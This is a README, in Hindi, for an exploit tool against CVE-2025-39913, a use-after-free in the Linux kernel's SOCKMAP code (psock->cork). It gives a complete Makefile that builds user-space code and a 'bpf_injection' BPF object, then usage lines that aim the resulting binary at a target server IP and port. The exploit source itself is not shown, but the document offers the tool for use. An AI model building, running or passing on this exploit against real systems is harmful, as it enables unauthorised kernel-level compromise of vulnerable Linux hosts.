
UAF in linux kernel ≤ 6.12.38 (psock->cork)
लेखक: Byte Reaper
मेरा प्लेटफ़ॉर्म: https://www.bytrep.com/
SOCKMAP समर्थन के साथ Linux कर्नेल संस्करण ≤ 6.12.38 को प्रभावित करता है।
Kernel ≤ 6.12.38
Linux x86_64
GCC
1 - Makefile बनाएँ :
# touch Makefile
2 - सामग्री को Makefile में पेस्ट करें :
TARGET := CVE-2025-39913
KERNEL_PATH := /usr/src/linux-headers-$(shell uname -r)
BPF_OBJ := bpf_injection.o
USER_SRCS := main.c load_bpf.c check_bpfELf.c pingCheck.c com_c.c exit_asm.c sockmap_link.c check_elf.c result.c argparse.c
USER_OBJS := $(USER_SRCS:.c=.o)
ALL_OBJS := $(USER_OBJS) $(BPF_OBJ)
LIBS := -l:libbpf.a -lrt -lelf -lz
$(TARGET): $(ALL_OBJS)
gcc $(USER_OBJS) -o $@ $(LIBS)
%.o: %.c
gcc -c $< -o $@
$(BPF_OBJ): bpf_injection.c
clang -O2 -target bpf -c $< -o $@ \
-nostdinc \
-I/usr/lib/clang/19/include \
-I$(KERNEL_PATH)/arch/x86/include \
-I$(KERNEL_PATH)/arch/x86/include/generated \
-I$(KERNEL_PATH)/include \
-I$(KERNEL_PATH)/include/uapi \
-I$(KERNEL_PATH)/include/generated/uapi \
-I$(KERNEL_PATH)/include/asm-generic \
-I/usr/include
clean:
1 - IP पता :
# ./CVE-2025-39913 -i [server-ip]
2 - लक्षित पोर्ट (डिफ़ॉल्ट : 80) :
# ./CVE-2025-39913 -i [server-ip] -p [PORT]
3 - पूर्ण ARG :
# ./CVE-2025-39913 -h
4 - Obj फ़ाइल BPF जाँचें :
# ./CVE-2025-39913 -i [server-ip] -p [PORT] -o
5 - डीबग ट्रेसिंग जाँचें :
# ./CVE-2025-39913 -i [server-ip] -p [PORT] -c
MIT